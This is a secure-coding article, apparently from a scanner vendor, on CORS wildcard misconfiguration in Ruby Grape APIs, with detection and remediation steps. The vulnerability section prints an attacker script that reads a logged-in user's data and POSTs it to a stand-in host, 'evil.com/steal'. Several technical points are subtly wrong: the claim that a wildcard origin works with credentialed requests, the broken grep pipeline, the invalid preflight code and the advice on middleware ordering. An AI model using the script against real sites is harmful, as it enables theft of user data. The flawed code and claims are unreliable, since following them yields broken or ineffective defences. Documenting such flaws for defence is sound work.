Cors Wildcard in Grape
How Cors Wildcard Manifests in Grape
Cors Wildcard vulnerabilities in Grape APIs occur when developers configure CORS (Cross-Origin Resource Sharing) with overly permissive settings, typically using wildcard (*) origins. This creates a critical security gap where any external website can make requests to your Grape API endpoints on behalf of authenticated users.
The most common manifestation appears in Grape's middleware configuration. Consider this vulnerable pattern:
class API < Grape::API
prefix 'api'
version 'v1'
format :json
# VULNERABLE: Wildcard CORS allows any origin
use Rack::Cors do
allow do
origins '*'
resource '*', headers: :any, methods: [:get, :post, :put, :delete, :options]
end
end
# API endpoints
get '/users' do
User.all
end
post '/orders' do
Order.create!(params)
end
endThis configuration allows any website to make cross-origin requests to your API. The vulnerability becomes exploitable when combined with authentication mechanisms. For example, if a user is logged into your API (via session cookies or JWT stored in browser), an attacker-controlled site can:
- Read sensitive user data through GET requests
- Initiate unauthorized actions via POST/PUT/DELETE
- Extract authentication tokens through timing attacks
- Perform CSRF-style attacks against authenticated endpoints
A specific Grape-related attack pattern involves API endpoints that return user-specific data without proper authorization checks. When CORS wildcard is enabled, an attacker can create a malicious page that loads user data from your API and sends it to their server:
<script>
fetch('https://api.yourservice.com/api/v1/users/123', {
credentials: 'include' // sends cookies if user is logged in
}).then(response => response.json())
.then(data => {
// exfiltrate data to attacker's server
fetch('https://evil.com/steal', {
method: 'POST',
headers: {'Content-Type': 'application/json'},
body: JSON.stringify(data)
});
});
</script>Another Grape-specific manifestation occurs when using before_filters for authentication. If CORS is configured before authentication middleware, unauthenticated preflight requests might bypass security checks:
class API < Grape::API
use Rack::Cors do
allow do
origins '*' # VULNERABLE
resource '*', headers: :any, methods: [:options]
end
end
before do
authenticate! # Authentication runs AFTER CORS is processed
end
endThis ordering issue allows attackers to probe API endpoints and potentially map your API surface before authentication is applied, creating reconnaissance opportunities.
Grape-Specific Detection
Detecting CORS wildcard vulnerabilities in Grape requires both manual code review and automated scanning. Here are Grape-specific detection approaches:
Manual Code Review
Search your Grape API files for Rack::Cors configuration patterns. Look for:
- origins '*' or origins /.*/ regex patterns
- Resource patterns that use wildcards for paths
- CORS configuration that appears before authentication middleware
- Missing origin validation logic
Use grep or similar tools to find these patterns across your codebase:
# Find wildcard CORS configurations
grep -r "Rack::Cors" app/ --include="*.rb" | grep -E "origins\s*['"]\*['"]"
grep -r "Rack::Cors" app/ --include="*.rb" | grep -E "origins\s*['"]\/.*['"]"
# Find CORS before authentication
grep -r "before do" app/ --include="*.rb" | xargs -I {} sh -c '
file="{}";
if grep -q "use Rack::Cors" "$file" && ! grep -q "before do" "$file" | head -1 | grep -q "use Rack::Cors"; then
echo "Potential ordering issue: $file";
fi
'Automated Scanning with middleBrick
middleBrick provides Grape-specific CORS detection through its black-box scanning approach. The scanner tests CORS headers on your API endpoints and identifies wildcard configurations:
# Scan your Grape API with middleBrick
npm install -g middlebrick
middlebrick scan https://api.yourservice.com
middleBrick's CORS checks include:
- Verifying Access-Control-Allow-Origin header values
- Testing wildcard (*) origins
- Checking for overly permissive Access-Control-Allow-Methods
- Validating Access-Control-Allow-Headers configurations
- Testing preflight request handling
The scanner provides detailed findings with severity levels and specific remediation guidance for Grape applications.
Runtime Detection
Implement runtime detection in your Grape API to monitor suspicious CORS activity:
class API < Grape::API
helpers do
def log_cors_attempt(origin)
if origin.include?('evil.com') || origin.include?('localhost')
# Log suspicious origins
Grape.logger.warn("Suspicious CORS origin detected: #{origin}")
end
end
end
before do
origin = request.headers['Origin']
log_cors_attempt(origin) if origin
end
endThis helps identify when external sites attempt to access your API through CORS, providing early warning of potential exploitation attempts.
Grape-Specific Remediation
Securing CORS in Grape applications requires a defense-in-depth approach. Here are Grape-specific remediation strategies:
1. Whitelist Specific Origins
Replace wildcard origins with an explicit whitelist of trusted domains:
class API < Grape::API
prefix 'api'
version 'v1'
format :json
# SECURE: Whitelist specific origins
use Rack::Cors do
allow do
origins 'https://yourapp.com',
'https://admin.yourapp.com',
'https://partner.yourapp.com'
resource '*', headers: :any, methods: [:get, :post, :put, :delete, :options]
end
end
# API endpoints
get '/users' do
authenticate!
User.all
end
end2. Dynamic Origin Validation
For applications with many origins or dynamic partners, implement runtime origin validation:
class API < Grape::API
WHITELISTED_ORIGINS = %w[
https://yourapp.com
https://admin.yourapp.com
https://partner.yourapp.com
].freeze
use Rack::Cors do
allow do
origins WHITELISTED_ORIGINS do |origin|
WHITELISTED_ORIGINS.include?(origin)
end
resource '*', headers: :any, methods: [:get, :post, :put, :delete, :options]
end
end
end3. Conditional CORS Based on Authentication
Apply CORS restrictions only to authenticated endpoints:
class API < Grape::API
# No CORS for unauthenticated endpoints
mount PublicAPI
# Secure CORS for authenticated endpoints
class SecureAPI < Grape::API
use Rack::Cors do
allow do
origins 'https://yourapp.com', 'https://admin.yourapp.com'
resource '*', headers: :any, methods: [:get, :post, :put, :delete, :options]
end
end
before do
authenticate!
end
mount AuthenticatedAPI
end
end4. Implement Preflight Request Validation
Strengthen preflight request handling to prevent unauthorized method discovery:
use Rack::Cors do
allow do
origins WHITELISTED_ORIGINS
resource '*', headers: :any, methods: [:get, :post] do
# Only allow specific methods
if request.request_method == 'OPTIONS'
allowed_methods = %w[GET POST]
headers['Access-Control-Allow-Methods'] = allowed_methods.join(', ')
end
end
end
end5. Add Rate Limiting to CORS Requests
Prevent abuse of CORS endpoints with rate limiting:
class API < Grape::API
use Rack::Cors do
allow do
origins WHITELISTED_ORIGINS
resource '*', headers: :any, methods: [:get, :post, :put, :delete, :options]
end
end
# Rate limit CORS preflight requests
before do
if request.request_method == 'OPTIONS'
rate_limit! # Your rate limiting implementation
end
end
end6. Use Grape's Built-in Middleware Ordering
Ensure proper middleware ordering by placing CORS after authentication:
class API < Grape::API
# Authentication first
before do
authenticate!
end
# Then CORS
use Rack::Cors do
allow do
origins 'https://yourapp.com'
resource '*', headers: :any, methods: [:get, :post, :put, :delete, :options]
end
end
endThis ensures that only authenticated requests can even reach the CORS processing stage.
Related CWEs: dataExposure
| CWE ID | Name | Severity |
|---|---|---|
| CWE-200 | Exposure of Sensitive Information | HIGH |
| CWE-209 | Error Information Disclosure | MEDIUM |
| CWE-213 | Exposure of Sensitive Information Due to Incompatible Policies | HIGH |
| CWE-215 | Insertion of Sensitive Information Into Debugging Code | MEDIUM |
| CWE-312 | Cleartext Storage of Sensitive Information | HIGH |
| CWE-359 | Exposure of Private Personal Information (PII) | HIGH |
| CWE-522 | Insufficiently Protected Credentials | CRITICAL |
| CWE-532 | Insertion of Sensitive Information into Log File | MEDIUM |
| CWE-538 | Insertion of Sensitive Information into Externally-Accessible File | HIGH |
| CWE-540 | Inclusion of Sensitive Information in Source Code | HIGH |